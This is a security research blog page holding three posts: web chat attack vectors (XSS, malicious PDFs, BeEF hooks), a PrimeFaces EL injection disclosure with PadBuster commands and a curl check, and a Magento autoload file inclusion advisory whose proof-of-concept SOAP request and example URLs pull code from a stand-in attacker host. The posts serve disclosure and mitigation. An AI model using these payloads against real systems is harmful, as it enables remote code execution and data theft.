Showing posts with label Remote Code Execution. Show all posts
Showing posts with label Remote Code Execution. Show all posts

Monday, May 18, 2020

Remote Working - Web Chats: Threats and countermeasures

Introduction

With recent worldwide events, a sharply increasing number of companies are offering remote services to their customers. Even traditional businesses are implementing new features or pushing the migration of existing features to new needs of dematerialization of human-to-human relationships. 
Web chats are an example of such trends.

Web chats

Rich messages web chats are a common feature implemented by companies to overcome the need of social distancing, while maintaining a close relationship with customers.
An example of rich messages web chat would be a graphical widget loaded by web site visitors to establish a chat session with a human operator, with the objective of sharing documents in a multimedia environment: users can share PDF files (e.g. personal documents, scans), video or audio files (e.g. vocal record of a formal declaration, acceptance of conditions and clauses for contracts, identity recognition) or even unpredicted formats, to deal with the abundance of multimedia files offered by end-user environments.
To do so, preview feature has a crucial role.

Scenario

As shown below, a typical scenario is a web server exposing chat capabilities, allowing human operators in a trusted network (e.g. a LAN) to interact with remote customers.
Usually, customers interact with the chat using a common browser over an untrusted network (the Internet, their own device); chat operators interact with customers using a browser or the backoffice component of the web chat, which commonly offers rich features, such as document viewing, session management, multiple channels interaction and capabilities to interact with customers in an "enhanced" manner.

This article will describe several attack vectors from potentially malicious remote customers against targeted chat operators and the software they use to interact with customers: the objective of described workflows is attacking the trusted internal corporate network.



Rich data exchange interaction

Backoffice chat components trie to recognize messages, files and URLs submitted by chat users with the aim of previewing them or offering operators with advanced tools to manipulate data.
Different recognition approaches are usually in place: parse file extensions, MIME type of uploaded files, and actually reading the real content of the file prior to supplying it to the operator.
If the recognition procedure does not thoroughly include a secure implementation of all the mentioned approaches, chat operators and internal resources may be prone to security threats.

Threats

Web chats can accept several formats for files, sent by users (e.g. with drag & drop) or submitting URLs.

HTML payloads

The simplest and most known attack vector is abusing the HTML parser of web chats:

Customer enters <b>ciao!</b>
Operator sees ciao!

Customer enters <script>alert("XSS!")</script>
Operator sees:


Malformed PDF file upload

User supplied PDF files can be opened by chat operators in embedded viewers in the backoffice component of the web chat or downloaded on their workstation, within the trusted corporate network.
Such files can be vehicle of arbitrary code (e.g. JavaScript or other active code), which can therefore be executed on the endpoint of chat operators, exploiting known vulnerabilities in the browser or in any other software used by operators to view the file.

As an example, PDF files can contain dynamic JavaScript code, very similar to how XSS attacks work:



Thus, malformed PDFs, especially if loaded with an outdated Adobe Acrobat version, can be an attack vector for further exploits (e.g. meterpreter payloads, malwares, droppers..) against the internal network, the browser, the operating system or other components in the trusted backoffice environment.

Note: any security concern for PDF files should be extended to Office documents (Word, Excel, Powerpoint), especially if older and/or not hardened versions of Microsoft Office are in use.
For example threats may include malwares embedded in Office documents or CSV Formula Injection attacks.

Malicious URLs (Abusing preview feature)

Web chats tries to parse URLs pasted by users' messages, with the aim of previewing their content.
If the parsing procedure is executed correctly, the PDF is previewed by an embedded viewer, and it can therefore lead to scenarios described above.
On the contrary, if the parsing procedure is not correctly executed, the preview mechanism (triggered by the presence of ".PDF" string in the URL) can lead to unexpected events.

For example, if the URL ends with ".pdf" string, the web chat may attempt to dynamically load any preview module. As shown below, ".pdf" in the URL does not indicate a real PDF file, but a folder named ".pdf" on an arbitrary web server.

Content of the attacker's web site:


$ ls ./.pdf -1
minded (executable file)
minded.html (malicious HTML file)
minded.pdf (malicious PDF file)


Behaviour of the preview on chat operator's software:



Several social engineering scenarios can be constructed over this behaviour, for example convincing the chat operator (whose job is trying to efficently interact with a customer) to download other files.

Semi-automatic scenarios, on the other hand, can include the execution of arbitrary code in HTML files, abusing the preview feature. For example, it would be possible to spawn a BeEF HTML hook against the browser in use by the chat operator:



The command & control server (used by the attacker / evil customer) would look similar to the following:



Consequently, the attacker can use a large plethora of social engineering / hijacking techniques.

For example, spawning fake system messages / Java Applet load requests:



Or even spawning fake Clippy Office Assistants:



Embedded players

Web chats may also include MP3 players, which, depending on the library in use by the chat software, may be prone to vulnerabilities related to outdated software modules.



Mitigations

  • Validate any uploaded file according to a predefined list of expected file types:
- Extension
- Content Type
- Actual content of the file
  • Rescale / Resize with a 1:1 ratio any multimedia file, before allowing chat operators to open the file, in the attempt of removing any metadata
  • Properly hardening procedures should be applied to any software in use by chat operators:
- Update PDF viewer software to the latest available version
- Apply proper security options (e.g. Enhanced security and protected mode in Adobe Acrobat) to harden PDF viewer software
  • Define a list of allowed file types for the preview feature, avoiding any other format: if chat operators are expected to receive only URLs, documents and images, define a list where only PDFs and JPGs/PNGs are allowed, while any other extension is excluded from previewing components.

References

https://acrobatusers.com/assets/collections/tutorials/legacy/tech_corners/javascript_corner/tips/2006/popup_windows_part2/AlertBoxExamples.pdf
https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/enhanced.html
https://owasp.org/www-community/attacks/CSV_Injection
https://beefproject.com/

Monday, February 15, 2016

RCE in Oracle NetBeans Opensource Plugins: PrimeFaces 5.x Expression Language Injection

PrimeFaces is a open source User Interface (UI) component library for JavaServer Faces (JSF) based applications, since its release, PrimeFaces has been strongly supported by Oracle, particularly within the NetBeans world.

Disclosure Timeline

PrimeFaces team has been contacted on 20/06/2015 (7 months ago) providing  the following details. Unfortunately the vulnerability has still not been fixed.

PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group; since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users.

PrimeOracle and PrimeSecret Vulnerability Detail

The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version.

The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin:




Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink: EL expression evaluation.

In this post we shared a generic payload to execute a remote interactive command shell via EL .

These two Crypto issues have been called "PrimeSecret" and "PrimeOracle".

Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication.

1) PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as "pfdrid" (by Stefano Di Paola).

2) PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as "pfdrid" (by Giorgio Fedon).


The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline:

/org/primefaces/application/resource/StreamedContentHandler.java

..
String dynamicContentId = (String)
params.get(Constants.DYNAMIC_CONTENT_PARAM);
...
String dynamicContentEL = strEn.decrypt(dynamicContentId);
...
ValueExpression ve =
context.getApplication().getExpressionFactory().createValueExpression(context.getELContext(),
dynamicContentEL, StreametreamedContent.class);
streamedContent = (StreamedContent) ve.getValue(eLContext);



In 2011 a user already reported to the dev team the dangerous impacts of EL injection: 
StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited.

In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability.

PrimeSecret


Vulnerable Code that leads to PrimeSecret:

file: "/org/primefaces/config/ConfigContainer.java"

// By default encryption Key is the hardcoded string "primefaces"

secretKey = (value == null) ? "primefaces" : value;


PrimeOracle


Vulnerable Code that leads to PrimeOracle:

file: "/org/primefaces/util/StringEncrypter.java"


// 8-bytes Salt <- Static IV
byte[] salt = {
(byte) 0xA9, (byte) 0x9B, (byte) 0xC8, (byte) 0x32,
(byte) 0x56, (byte) 0x34, (byte) 0xE3, (byte) 0x03
};
...


// Padding Oracle vulnerability since the DES cipher is CBC based
// and process encrypted text without verification (e.g. // HMAC)

KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(),
salt, iterationCount);
SecretKey key =
SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);


Exploitation is easy with PadBuster


In the following example we are going to show the exploitation of  PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password.

That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter.

First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool.

In this case the payload we have chosen is:

// Set a response Header with a value of "primesecretchk" Request Parameter
${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}


Note: Any EL can be executed: payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise.

Then just launch Padbuster with the following command:

./padBuster.pl
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=C24UkygWm3HMmnSxmDwoxw%3D%3D"
"C24UkygWm3HMmnSxmDwoxw%3D%3D" 8 -encoding 0 -plaintext
'${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}'


+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 65766

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 14

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#    Freq    Status    Length    Location
-------------------------------------------------------
1    1    500    65715    N/A
2 **    255    200    0    N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :2

-------------------------------------------------------
** Finished ***

[+] Encrypted value is:
wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA

-------------------------------------------------------


To check if the application is vulnerable:

n0def@n0def-U36SG:~/Desktop/PadBuster-master$
enc="wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA";
chk="123445456"; curl -X POST
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml"
-ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&primesecretchk=$chk"| grep $chk

primesecretchk: 123445456



//Note: the previous request will work against all systems vulnerable to PrimeSecret! Since // has been generated on a host with "primefaces" secretKey



The application is vulnerable because of the new added response header: "primesecretchk: 123445456"

Remediation

Since an official patch is still not available end users and companies can protect their application by disabling StreamedContentHandler.java.

Alternatively by filtering incoming requests with pfdrid parameter (value longer than 16bytes and Base64 encoded) and "pfdrt=sc" is possible to mitigate the attack: "pfdrt=sc" calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload.

Isn't enough to change the default "secretKey"?

Unfortunately not: changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.


Friday, September 11, 2015

Autoloaded File Inclusion in Magento SOAP API (SUPEE-6482)

This past February we reported an interesting and quite overlooked kind of vulnerability in the Magento web e-commerce platform. The vulnerability might allow an authenticated attacker to execute arbitrary code on the affected web stores, and this can lead to a complete compromise, including credit card information and personal data theft. We received the first reply from the Magento Security Team on June 22, 2015, stating that our submission was not eligible for the bug bounty program, because it was found to be invalid and not actionable. The reason for the rejection was that there are too many requirements to exploit the vulnerability, first of all it requires that Magento is running on outdated PHP versions, because this kind of vulnerability has been fixed in the PHP core engine at the beginning of 2014. However, as we will see in this post, there are still many websites out there using such outdated PHP versions. That should be one of the reasons why the Magento Security Team replied us on June 25, 2015, stating the following:
We were able to confirm your issue. Even though it requires knowing API credentials, it should not be possible to execute such actions. The PHP versions that are additionally vulnerable, while old are still used in popular distributions like RHEL 7.1. We will schedule fixing this issue for our next product release given lower priority. We will inform you regarding possible awards associated with this report.
On August 4, 2015, a bundle of patches (SUPEE-6482) has been released by the Magento team, that resolved several security-related issues, including the one we reported in February. The same day Magento released new versions (Community Edition 1.9.2.1 and Enterprise Edition 1.14.2.1) that include SUPEE-6482 along with other security patches. On August 13, 2015, we requested a new CVE identifier for this vulnerability, and MITRE has assigned the name CVE-2015-6497 for it.

What is an "Autoloaded File Inclusion" vulnerability?

This kind of vulnerability might affect PHP applications which uses an "exploitable" autoloading mechanism. The "Autoloading Classes" feature has been introduced in PHP 5.0 with the magic function __autoload() which is automatically called when your code references a class or interface that hasn’t been loaded yet. So, instead of including every needed class by hand, is it possible to register a function that gets called as soon as the code try to instantiate an unknown class. This function gets passed the unknown class name and is responsible for including the right file that contains the class definition. As an aside, starting from PHP 5.1.2 autoload-functions are usually registered via spl_autoload_register(), which provides a more flexible alternative for autoloading classes. For this reason, using __autoload() is discouraged and may be deprecated in the future. Here’s an example of an extremely basic __autoload() implementation, which attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively (it's taken from the official PHP documentation page):

<?php

 function __autoload($class_name) {
    include $class_name . '.php';
 }

 $obj  = new MyClass1();
 $obj2 = new MyClass2(); 

?>

While this feature is extremely useful and powerful, it might introduce potential local/remote file inclusion vulnerabilities when user-controlled input is used as a class name. Indeed, if an attacker can control the class name variable passed to an autoloading function, she could try to play around with it in order to include an arbitrary file and execute PHP code remotely. There are multiple ways to trigger the autoloader, the most obvious is class instantiation using the new operator. In addition to that, there are some PHP functions which can be considered as sensitive sinks for this kind of vulnerability. Here is an incomplete list:


So, when user-controlled input (tainted data) enters one of these sensitive sinks there's a chance for the application to be vulnerable to "Autoloaded File Inclusion". Let's see a trivial example of vulnerable scripts:

<?php

 /* File: autoload.php */

 function __autoload($class_name) {
    include $class_name . '.php';
 }

?>

<?php

 /* File: vuln.php */

 require('autoload.php');

 if(isset($_GET['class']) && class_exists($_GET['class'])) {
    $obj = new $_GET['class'];
 } else {
    die('No class found');
 }

 /* Some code... */

?>

In this example an attacker controls a class name via the GET parameter "class", which is first used with the class_exists() function (triggering the autoloader in case it is an unknown class) and then to instantiate a new object. This means that the attacker can control the $class_name variable passed to the autoloader, therefore it could be possible to include arbitrary files from both local or remote resources by invoking URLs like these:

http://example.com/vuln.php?class=http://attacker.com/shell
http://example.com/vuln.php?class=../../../tmp/cache/attacker_controlled/file

In the first case the autoloader will try to include and execute the PHP code located at http://attacker.com/shell.php, resulting in a Remote File Inclusion (RFI); while in the second case the autoloader will try to include and execute the PHP code located into the file /tmp/cache/attacker_controlled/file.php, resulting in a Local File Inclusion (LFI). Furthermore, in cases like this where the attacker controls the classname's prefix, in addition to http:// other PHP wrappers might be abused in order to execute arbitrary PHP code.

But... wait a moment! According to the official documentation "a valid class name starts with a letter or underscore, followed by any number of letters, numbers, or underscores". That means an attacker cannot include arbitrary files via class names because it should not be possible to e.g. use path traversal sequences (../../) through them. But here comes the problem: there was a bug in the PHP core which allowed to invoke class autoloaders with invalid class names. This bug has been solved in January 2014 with the release of PHP versions 5.4.24 and 5.5.8.

How many vulnerable PHP installs are out there?

Well, the bug which might enable this kind of vulnerability has been fixed by the PHP team at the beginning of 2014. But is this enough to say this kind of vulnerability should not pose any security concern? Maybe not... At the end of 2014 has been published a blog post showing that 78% of all PHP installs were not secure, meaning they had at least one known security vulnerability. Antony Ferrara, the author of that post, used the statistics data from W3Techs in order to come to that conclusion. Let's try to do the same with regards to the PHP installs affected by the autoloading bug. In other words, let's check how many PHP websites are using PHP versions before 5.4.24 or 5.5.8.


The above table has been retrieved from the PHP version 5 usage statistics page from W3Techs, as of September 10, 2015. It shows that at least 54.2% of websites using PHP are affected by the autoloading bug (38.5% is using PHP 5.3, 14.7% is using PHP 5.2 and 1% is using PHP 5.1). Next step is to see how many websites are using vulnerable PHP 5.4.x and 5.5.x versions. The usage statistics page for subversions of PHP 5.4 show that 12.7% of websites using PHP are running a version before 5.4.24, while the usage statistics page for subversions of PHP 5.5 show that 3.5% of websites using PHP are running a version before 5.5.8. Overall, this means that 70.4% of websites using PHP are affected by the autoloading bug. Roughly speaking, considering that according to the official website Magento powers more than 240,000 online shops, this could mean that over 150,000 websites powered by Magento might be affected by CVE-2015-6497.

Technical description of the vulnerability

The vulnerability is caused by the Mage_Catalog_Model_Product_Api_V2::create() method, which handles the "catalogProductCreate" SOAP API call. The vulnerable code is located into the /app/code/core/Mage/Catalog/Model/Product/Api/V2.php script:

    public function create($type, $set, $sku, $productData, $store = null)
    {
        if (!$type || !$set || !$sku) {
            $this->_fault('data_invalid');
        }

        $this->_checkProductTypeExists($type);
        $this->_checkProductAttributeSet($set);

        /** @var $product Mage_Catalog_Model_Product */
        $product = Mage::getModel('catalog/product');
        $product->setStoreId($this->_getStoreId($store))
            ->setAttributeSetId($set)
            ->setTypeId($type)
            ->setSku($sku);

        if (!property_exists($productData, 'stock_data')) {
            //Set default stock_data if not exist in product data
            $_stockData = array('use_config_manage_stock' => 0);
            $product->setStockData($_stockData);
        }

This method expects the $productData parameter to be an array (in form of a stdClass object) and uses the property_exists() function with it. However, an attacker can manipulate a SOAP request arbitrarily and send the $productData parameter in form of a string. In this case, if the string passed to the property_exists() function is an unknown class, any registered autloader function will be triggered. When the property_exists() function is called there's only one autoloader function registered, that is the Varien_Autoload::autoload() method:

    public function autoload($class)
    {
        if ($this->_collectClasses) {
            $this->_arrLoadedClasses[self::$_scope][] = $class;
        }
        if ($this->_isIncludePathDefined) {
            $classFile =  COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR . $class;
        } else {
            $classFile = str_replace(' ', DIRECTORY_SEPARATOR, ucwords(str_replace('_', ' ', $class)));
        }
        $classFile.= '.php';
        //echo $classFile;die();
        return include $classFile;
    }

In such a scenario, the $class parameter automatically passed to this method is exactly the same string value sent through the $productData parameter from the SOAP request, which after some replacementes and a ".php" string appended to it, is being used in a call to the include() function. This may result in an arbitrary file inclusion (both from local or remote resources) and could be exploited to include and execute arbitrary PHP code. There are some conditions which should be met in order to exploit this vulnerability:

  • an API user account with privileges to create a catalog product is required;
  • in order to include arbitrary files from remote locations, Magento should run on PHP before 5.4.24 or 5.5.8, because such versions have fixed the issue related to invalid class names in the autoloading process;
  • in order to include arbitrary files from remote locations the "allow_url_include" directive must be set to On;
  • in case the allow_url_include directive is set to Off it might still be possible to include files from remote locations using the ssh2.sftp:// wrapper (which requires the SSH2 extension to be installed) or execute arbitrary OS commands leveraging the expect:// wrapper (which requires the Expect extension to be installed).

NOTE: if Magento is running on PHP version after 5.4.23 or 5.5.7 the vulnerability could still be exploited by including a local file with a .php extension (something like /tmp/test.php). If Magento is running on PHP before 5.3.4 the vulnerability could be exploited to include arbitrary local files with any extension (e.g. a session file containing malicious PHP code injected by the attacker) because NULL bytes are allowed within the path (see CVE-2006-7243).

Proof of Concept

Once logged in with valid API credentials, an attacker could send a SOAP request like the following in order to try to exploit the vulnerability:
POST /magento/index.php/api/v2_soap HTTP/1.0
Host: localhost
Content-Length: 804
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:Magento" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:catalogProductCreate>
<sessionId xsi:type="xsd:string">VALID_SESSION</sessionId>
<type xsi:type="xsd:string">simple</type>
<set xsi:type="xsd:string">4</set>
<sku xsi:type="xsd:string">test</sku>
<productData xsi:type="xsd:base64Binary">ZnRwOi8vYXR0YWNrZXI6cGFzc3dvcmRAYXR0YWNrZXJfc2VydmVyLmNvbS9ob21lL2F0dGFja2VyL2V2aWw=</productData>
<storeView xsi:nil="true"/>
</ns1:catalogProductCreate>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The  "productData" parameter has been encoded in base64 within the SOAP request, and the decoded string is the following:

ftp://attacker:password@attacker_server.com/home/attacker/evil

This means that leveraging the ftp:// wrapper, an attacker might be able to force Magento to load and execute malicious code from a FTP server under its control. In this example, the attacker only has to put the malicious code under /home/attacker/evil.php. However, as we said before, other PHP wrappers might be abused, potentially leading to direct arbitrary PHP code execution.